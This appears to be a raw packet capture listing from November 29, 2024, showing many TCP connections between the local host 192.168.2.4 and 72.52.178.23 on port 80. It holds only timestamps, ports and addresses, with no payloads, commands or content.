Nov 29, 2024 01:52:08.149914026 CET	49735	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:08.193228960 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.193392038 CET	49735	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:08.313263893 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.313375950 CET	49735	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:08.357228994 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.357292891 CET	49735	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:08.477284908 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.569313049 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.569434881 CET	49735	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:08.687855005 CET	80	49734	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.687931061 CET	49734	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:08.691239119 CET	49734	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:08.800637007 CET	49736	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:08.811140060 CET	80	49734	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.817306995 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.817354918 CET	49735	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:08.869137049 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.869256020 CET	49735	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:08.920717955 CET	80	49736	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.920795918 CET	49736	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:08.937294960 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.989275932 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.989311934 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.989384890 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.989397049 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.989413977 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.989423037 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.989468098 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:09.059854984 CET	49736	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:09.099112988 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:09.099184036 CET	49735	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:09.100692034 CET	49735	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:09.179948092 CET	80	49736	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:09.220581055 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:09.318547010 CET	49737	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:09.438601017 CET	80	49737	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:09.438678980 CET	49737	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:09.438774109 CET	49737	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:09.438805103 CET	49737	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:09.438875914 CET	49737	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:09.438915014 CET	49737	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:09.558993101 CET	80	49737	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:09.559004068 CET	80	49737	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:09.559010983 CET	80	49737	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:09.559015036 CET	80	49737	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:09.559029102 CET	80	49737	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:09.559036970 CET	80	49737	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:09.559043884 CET	80	49737	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:09.559052944 CET	80	49737	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:09.559084892 CET	80	49737	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:09.559098005 CET	80	49737	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:09.559099913 CET	49737	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:09.559142113 CET	49737	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:09.559150934 CET	80	49737	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:09.559156895 CET	49737	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:09.559160948 CET	80	49737	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:09.559190989 CET	49737	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:09.559205055 CET	49737	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:09.679105043 CET	80	49737	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:09.679132938 CET	80	49737	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:09.679150105 CET	80	49737	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:09.679168940 CET	49737	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:09.679178953 CET	80	49737	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:09.679184914 CET	49737	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:09.679195881 CET	49737	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:09.679224014 CET	49737	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:09.679305077 CET	80	49737	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:09.679373026 CET	49737	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:09.721236944 CET	80	49737	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:09.721375942 CET	49737	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:09.841258049 CET	80	49737	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:09.842345953 CET	49737	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:09.885279894 CET	80	49737	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:09.886336088 CET	49737	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.005286932 CET	80	49737	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:10.006331921 CET	49737	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.093261003 CET	80	49737	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:10.096347094 CET	49737	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.107296944 CET	80	49736	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:10.108473063 CET	49736	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.108508110 CET	49736	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.222187996 CET	49738	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.228408098 CET	80	49736	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:10.249299049 CET	80	49737	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:10.252445936 CET	49737	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.252619028 CET	49737	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.342226028 CET	80	49738	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:10.344574928 CET	49738	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.344719887 CET	49738	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.464663982 CET	80	49738	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:10.469680071 CET	49739	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.589862108 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:10.589945078 CET	49739	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.590292931 CET	49739	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.590323925 CET	49739	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.590398073 CET	49739	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.590428114 CET	49739	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.710164070 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:10.710355997 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:10.710365057 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:10.710418940 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:10.710427999 CET	49739	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.710453033 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:10.710479975 CET	49739	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.710503101 CET	49739	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.710524082 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:10.710534096 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:10.710582018 CET	49739	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.710627079 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:10.710643053 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:10.710678101 CET	49739	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.710719109 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:10.710733891 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:10.710741997 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:10.710767031 CET	49739	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.710784912 CET	49739	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.830562115 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:10.830606937 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:10.830620050 CET	49739	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.830662012 CET	49739	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.830693960 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:10.830756903 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:10.830769062 CET	49739	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.830804110 CET	49739	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.873243093 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:10.873368025 CET	49739	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:10.993350029 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:10.993448973 CET	49739	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:11.041234970 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:11.041285992 CET	49739	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:11.157267094 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:11.253264904 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:11.253323078 CET	49739	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:11.501305103 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:11.504966021 CET	49739	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:11.528059959 CET	80	49738	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:11.528470039 CET	49738	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:11.543277025 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:11.544418097 CET	49739	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:11.555010080 CET	49738	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:11.624931097 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:11.664534092 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:11.664549112 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:11.664567947 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:11.664576054 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:11.664623022 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:11.664632082 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:11.664664030 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:11.674901009 CET	80	49738	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:11.698560953 CET	49740	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:11.772835016 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:11.772929907 CET	49739	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:11.773050070 CET	49739	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:11.818514109 CET	80	49740	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:11.818634033 CET	49740	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:11.828202009 CET	49740	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:11.892956972 CET	80	49739	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:11.948117971 CET	80	49740	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:12.097167015 CET	49741	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:12.217081070 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:12.217152119 CET	49741	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:12.217291117 CET	49741	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:12.217314959 CET	49741	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:12.217379093 CET	49741	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:12.217401028 CET	49741	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:12.337172031 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:12.337379932 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:12.337389946 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:12.337398052 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:12.337461948 CET	49741	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:12.337511063 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:12.337521076 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:12.337527990 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:12.337558985 CET	49741	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:12.337590933 CET	49741	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:12.337591887 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:12.337601900 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:12.337641954 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:12.337646961 CET	49741	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:12.337650061 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:12.337697029 CET	49741	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:12.337734938 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:12.337806940 CET	49741	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:12.457598925 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:12.457608938 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:12.457655907 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:12.457665920 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:12.457684040 CET	49741	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:12.457721949 CET	49741	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:12.501255989 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:12.501363039 CET	49741	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:12.621252060 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:12.621347904 CET	49741	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:12.665311098 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:12.665384054 CET	49741	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:12.785283089 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:12.873311996 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:12.873370886 CET	49741	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:12.980969906 CET	80	49740	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:12.981024981 CET	49740	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:12.981070995 CET	49740	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:13.097635984 CET	49743	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:13.101022959 CET	80	49740	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.121398926 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.121474028 CET	49741	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:13.134552002 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.134620905 CET	49741	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:13.217654943 CET	80	49743	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.217715979 CET	49743	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:13.217861891 CET	49743	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:13.241440058 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.254682064 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.254697084 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.254730940 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.254918098 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.254928112 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.254935980 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.254947901 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.337795019 CET	80	49743	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.355053902 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.355174065 CET	49741	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:13.355174065 CET	49741	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:13.475306988 CET	80	49741	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.582693100 CET	49744	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:13.702622890 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.702713966 CET	49744	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:13.702984095 CET	49744	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:13.703012943 CET	49744	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:13.703089952 CET	49744	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:13.703111887 CET	49744	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:13.822839022 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.823077917 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.823086977 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.823096037 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.823107004 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.823136091 CET	49744	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:13.823183060 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.823193073 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.823223114 CET	49744	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:13.823251963 CET	49744	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:13.823263884 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.823275089 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.823329926 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.823338032 CET	49744	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:13.823339939 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.823350906 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.823385954 CET	49744	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:13.823386908 CET	49744	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:13.823441029 CET	49744	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:13.943366051 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.943376064 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.943412066 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.943448067 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.943449974 CET	49744	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:13.943475962 CET	49744	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:13.943717003 CET	49744	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:13.985311985 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:13.985421896 CET	49744	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:14.105271101 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:14.105426073 CET	49744	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:14.149244070 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:14.149765968 CET	49744	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:14.269264936 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:14.357295036 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:14.360735893 CET	49744	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:14.403712034 CET	80	49743	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:14.408327103 CET	49743	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:14.412560940 CET	49743	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:14.530265093 CET	49746	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:14.532435894 CET	80	49743	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:14.605310917 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:14.605441093 CET	49744	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:14.626871109 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:14.629040956 CET	49744	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:14.650166035 CET	80	49746	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:14.650324106 CET	49746	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:14.650605917 CET	49746	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:14.725456953 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:14.749021053 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:14.749047995 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:14.749077082 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:14.749171972 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:14.749200106 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:14.749283075 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:14.749291897 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:14.770484924 CET	80	49746	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:14.847515106 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:14.847574949 CET	49744	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:14.847903013 CET	49744	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:14.967762947 CET	80	49744	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:15.054198027 CET	49747	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:15.174455881 CET	80	49747	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:15.174531937 CET	49747	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:15.180883884 CET	49747	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:15.180951118 CET	49747	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:15.180977106 CET	49747	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:15.181057930 CET	49747	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:15.300820112 CET	80	49747	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:15.300961971 CET	80	49747	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:15.300971031 CET	80	49747	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:15.300978899 CET	80	49747	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:15.301019907 CET	49747	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:15.301033974 CET	80	49747	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:15.301043034 CET	80	49747	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:15.301048040 CET	49747	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:15.301071882 CET	49747	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:15.301090002 CET	49747	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:15.301114082 CET	80	49747	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:15.301124096 CET	80	49747	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:15.301161051 CET	49747	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:15.301187038 CET	80	49747	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:15.301233053 CET	49747	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:15.301265001 CET	80	49747	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:15.301274061 CET	80	49747	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:15.301291943 CET	80	49747	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:15.301311016 CET	49747	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:15.301337957 CET	49747	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:15.421066999 CET	80	49747	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:15.421080112 CET	80	49747	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:15.421127081 CET	80	49747	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:15.421137094 CET	80	49747	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:15.421139002 CET	49747	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:15.421191931 CET	49747	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:15.461359024 CET	80	49747	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:15.461450100 CET	49747	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:15.581506968 CET	80	49747	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:15.581612110 CET	49747	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:15.625293970 CET	80	49747	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:15.745286942 CET	80	49747	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:15.745367050 CET	49747	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:15.830022097 CET	49746	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:15.830082893 CET	49747	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:15.851771116 CET	80	49746	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:15.851829052 CET	49746	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:15.940902948 CET	49748	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:15.949290037 CET	80	49747	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:15.951335907 CET	49747	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:16.060923100 CET	80	49748	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:16.064454079 CET	49748	80	192.168.2.4	72.52.178.23
